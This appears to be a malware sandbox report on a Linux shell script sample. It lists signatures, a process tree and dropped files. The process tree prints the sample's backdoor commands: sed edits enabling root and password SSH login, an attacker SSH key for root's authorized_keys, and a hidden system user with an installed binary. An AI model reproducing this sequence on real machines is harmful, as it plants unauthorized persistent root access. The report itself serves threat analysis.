Analysis

  • max time kernel
    15s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    13/11/2026, 15:19

General

  • Target
    9a59b9faebdde2a6bb88f3ab0f8b8adc030d534d96a08bc0a1dbbf6b9fcbe56d.sh
  • Size 2KB
  • Sample261113-sqa6mac16k
  • SHA256 9a59b9faebdde2a6bb88f3ab0f8b8adc030d534d96a08bc0a1dbbf6b9fcbe56d
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Adds new SSH keys 1 TTPs 2 IoCs

    Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.

  • Modifies password files for system users/ groups 1 TTPs 4 IoCs

    Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.

  • OS Credential Dumping 1 TTPs 1 IoCs

    Adversaries may attempt to dump credentials to use it in password cracking.

  • Adds a user to the system 1 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 5 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 33 IoCs

    Reads data from /proc virtual filesystem.

Processes

  • /tmp/9a59b9faebdde2a6bb88f3ab0f8b8adc030d534d96a08bc0a1dbbf6b9fcbe56d.sh
    /tmp/9a59b9faebdde2a6bb88f3ab0f8b8adc030d534d96a08bc0a1dbbf6b9fcbe56d.sh
    1⤵
    • Adds new SSH keys
    PID:726
    • /usr/bin/dirname
      dirname /tmp/9a59b9faebdde2a6bb88f3ab0f8b8adc030d534d96a08bc0a1dbbf6b9fcbe56d.sh
      2⤵
        PID:735
      • /usr/bin/id
        id -u
        2⤵
        • Reads runtime system information
        PID:736
      • /bin/cp
        cp -a /etc/ssh/sshd_config /etc/ssh/sshd_config.bak.vnc-lab
        2⤵
        • Reads runtime system information
        PID:741
      • /bin/sed
        sed -i "s/^[#]*PasswordAuthentication.*/PasswordAuthentication yes/" /etc/ssh/sshd_config
        2⤵
        • Reads runtime system information
        PID:746
      • /bin/sed
        sed -i "s/^[#]*PermitRootLogin.*/PermitRootLogin yes/" /etc/ssh/sshd_config
        2⤵
        • Reads runtime system information
        PID:749
      • /bin/sed
        sed -i "s/^[#]*PubkeyAuthentication.*/PubkeyAuthentication yes/" /etc/ssh/sshd_config
        2⤵
        • Reads runtime system information
        PID:751
      • /bin/grep
        grep -q "^PasswordAuthentication " /etc/ssh/sshd_config
        2⤵
          PID:752
        • /bin/grep
          grep -q "^PermitRootLogin " /etc/ssh/sshd_config
          2⤵
            PID:754
          • /bin/grep
            grep -q "^PubkeyAuthentication " /etc/ssh/sshd_config
            2⤵
              PID:756
            • /usr/sbin/sshd
              sshd -t
              2⤵
              • Reads runtime system information
              PID:757
            • /bin/systemctl
              systemctl enable ssh
              2⤵
              • Enumerates kernel/hardware configuration
              • Reads runtime system information
              PID:761
              • /lib/systemd/systemd-sysv-install
                /lib/systemd/systemd-sysv-install enable ssh
                3⤵
                  PID:763
                  • /usr/bin/getopt
                    getopt -o r: --long root: -- enable ssh
                    4⤵
                      PID:764
                    • /usr/sbin/update-rc.d
                      /usr/sbin/update-rc.d ssh defaults
                      4⤵
                        PID:765
                        • /usr/local/sbin/systemctl
                          systemctl daemon-reload
                          5⤵
                            PID:767
                          • /usr/local/bin/systemctl
                            systemctl daemon-reload
                            5⤵
                              PID:767
                            • /usr/sbin/systemctl
                              systemctl daemon-reload
                              5⤵
                                PID:767
                              • /usr/bin/systemctl
                                systemctl daemon-reload
                                5⤵
                                  PID:767
                                • /sbin/systemctl
                                  systemctl daemon-reload
                                  5⤵
                                    PID:767
                                  • /bin/systemctl
                                    systemctl daemon-reload
                                    5⤵
                                    • Enumerates kernel/hardware configuration
                                    • Reads runtime system information
                                    PID:767
                                • /usr/sbin/update-rc.d
                                  /usr/sbin/update-rc.d ssh enable
                                  4⤵
                                    PID:780
                                    • /usr/local/sbin/systemctl
                                      systemctl daemon-reload
                                      5⤵
                                        PID:781
                                      • /usr/local/bin/systemctl
                                        systemctl daemon-reload
                                        5⤵
                                          PID:781
                                        • /usr/sbin/systemctl
                                          systemctl daemon-reload
                                          5⤵
                                            PID:781
                                          • /usr/bin/systemctl
                                            systemctl daemon-reload
                                            5⤵
                                              PID:781
                                            • /sbin/systemctl
                                              systemctl daemon-reload
                                              5⤵
                                                PID:781
                                              • /bin/systemctl
                                                systemctl daemon-reload
                                                5⤵
                                                • Enumerates kernel/hardware configuration
                                                • Reads runtime system information
                                                PID:781
                                        • /bin/systemctl
                                          systemctl enable sshd
                                          2⤵
                                          • Enumerates kernel/hardware configuration
                                          • Reads runtime system information
                                          PID:815
                                        • /bin/systemctl
                                          systemctl restart ssh
                                          2⤵
                                          • Enumerates kernel/hardware configuration
                                          • Reads runtime system information
                                          PID:817
                                        • /bin/mkdir
                                          mkdir -p /root/.ssh
                                          2⤵
                                          • Reads runtime system information
                                          PID:828
                                        • /usr/bin/touch
                                          touch /root/.ssh/authorized_keys
                                          2⤵
                                          • Adds new SSH keys
                                          PID:830
                                        • /bin/grep
                                          grep -qxF "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKzl/BTJNc14ZQkkkYqBZaOQbHvS9s1BBcKItmeEV2+N vnc-lab-coord" /root/.ssh/authorized_keys
                                          2⤵
                                            PID:831
                                          • /bin/chmod
                                            chmod 700 /root/.ssh
                                            2⤵
                                              PID:832
                                            • /bin/chmod
                                              chmod 600 /root/.ssh/authorized_keys
                                              2⤵
                                                PID:834
                                              • /usr/bin/getent
                                                getent passwd scanner
                                                2⤵
                                                  PID:836
                                                • /usr/bin/cut
                                                  cut -d: -f6
                                                  2⤵
                                                    PID:837
                                                  • /usr/bin/cut
                                                    cut -d: -f6
                                                    2⤵
                                                      PID:841
                                                    • /usr/bin/getent
                                                      getent passwd scaner
                                                      2⤵
                                                        PID:840
                                                      • /usr/bin/id
                                                        id vnc-lab
                                                        2⤵
                                                        • Reads runtime system information
                                                        PID:842
                                                      • /usr/sbin/useradd
                                                        useradd --system --create-home --home-dir /var/lib/vnc-lab --shell /usr/sbin/nologin vnc-lab
                                                        2⤵
                                                        • Modifies password files for system users/ groups
                                                        • OS Credential Dumping
                                                        • Adds a user to the system
                                                        • Reads runtime system information
                                                        PID:844
                                                        • /usr/sbin/nscd
                                                          nscd -i passwd
                                                          3⤵
                                                            PID:852
                                                          • /usr/sbin/nscd
                                                            nscd -i group
                                                            3⤵
                                                              PID:853
                                                            • /usr/sbin/nscd
                                                              nscd -i passwd
                                                              3⤵
                                                                PID:855
                                                              • /usr/sbin/nscd
                                                                nscd -i group
                                                                3⤵
                                                                  PID:856
                                                              • /bin/mkdir
                                                                mkdir -p /var/lib/vnc-lab
                                                                2⤵
                                                                • Reads runtime system information
                                                                PID:857
                                                              • /usr/bin/install
                                                                install -m 755 /tmp/vnc-lab /var/lib/vnc-lab/vnc-lab
                                                                2⤵
                                                                • Reads runtime system information
                                                                PID:858

                                                            Network

                                                                  MITRE ATT&CK Enterprise v16

                                                                  Replay Monitor

                                                                  Loading Replay Monitor...

                                                                  Downloads

                                                                  group+

                                                                  • Path /etc/group+
                                                                  • Size 714B
                                                                  • SHA256 f43d8d8a6c1d53da3647274e571328bd7fdd8ee10b25a90b1bd6a4dd55d501b3
                                                                  • MD5 SHA1 SHA512 TLSH

                                                                  gshadow+

                                                                  • Path /etc/gshadow+
                                                                  • Size 602B
                                                                  • SHA256 744ff5cdce56c767e4998b6e737735e5b1823ef55bc565ac35e206376d19c210
                                                                  • MD5 SHA1 SHA512 TLSH

                                                                  passwd+

                                                                  • Path /etc/passwd+
                                                                  • Size 1KB
                                                                  • SHA256 0f6f79873991bd1fa4e41dd36d47fb761d4d0ca18df913825b9a53218f141333
                                                                  • MD5 SHA1 SHA512 TLSH

                                                                  shadow+

                                                                  • Path /etc/shadow+
                                                                  • Size 890B
                                                                  • SHA256 15e91ed90089c591f82e7b766a6441e28970e1db05d94d2328fbb0af04eea0ef
                                                                  • MD5 SHA1 SHA512 TLSH

                                                                  sedHXAIrc

                                                                  • Path /etc/ssh/sedHXAIrc
                                                                  • Size 3KB
                                                                  • SHA256 faa382bd15b98d440d6c3b93832ba9d20ca901489c1c7d14854734a745ff04cc
                                                                  • MD5 SHA1 SHA512 TLSH

                                                                  sedKZrADZ

                                                                  • Path /etc/ssh/sedKZrADZ
                                                                  • Size 3KB
                                                                  • SHA256 b3f45c036083cc8f041acaa9fe942681d9f0f3f3976bcedf41f51b9eaca9c28f
                                                                  • MD5 SHA1 SHA512 TLSH

                                                                  sedXibO65

                                                                  • Path /etc/ssh/sedXibO65
                                                                  • Size 3KB
                                                                  • SHA256 5330e74317030c86cf99d822320bf082413b2c48976f9957616fa252cc323586
                                                                  • MD5 SHA1 SHA512 TLSH

                                                                  sshd_config.bak.vnc-lab

                                                                  • Path /etc/ssh/sshd_config.bak.vnc-lab
                                                                  • Size 3KB
                                                                  • SHA256 8431c6f565a1a13e95982597051796c564d265706cbce797e33ac223ef136383
                                                                  • MD5 SHA1 SHA512 TLSH

                                                                  authorized_keys

                                                                  • Path /root/.ssh/authorized_keys
                                                                  • Size 95B
                                                                  • SHA256 147687b72873c04ebca9b30a5757c80cc0869b50a989cd1e233da4d8271de7e3
                                                                  • MD5 SHA1 SHA512 TLSH

                                                                  .bash_logout

                                                                  • Path /var/lib/vnc-lab/.bash_logout
                                                                  • Size 220B
                                                                  • SHA256 26882b79471c25f945c970f8233d8ce29d54e9d5eedcd2884f88affa84a18f56
                                                                  • MD5 SHA1 SHA512 TLSH

                                                                  .bashrc

                                                                  • Path /var/lib/vnc-lab/.bashrc
                                                                  • Size 3KB
                                                                  • SHA256 afae8986f549c6403410e029f9cce7983311512d04b1f02af02e4ce0af0dd2bf
                                                                  • MD5 SHA1 SHA512 TLSH

                                                                  .profile

                                                                  • Path /var/lib/vnc-lab/.profile
                                                                  • Size 675B
                                                                  • SHA256 86512cad76131783f5dae4346ddc3fb39f6f7c0f74b3039bff70ca4015ade034
                                                                  • MD5 SHA1 SHA512 TLSH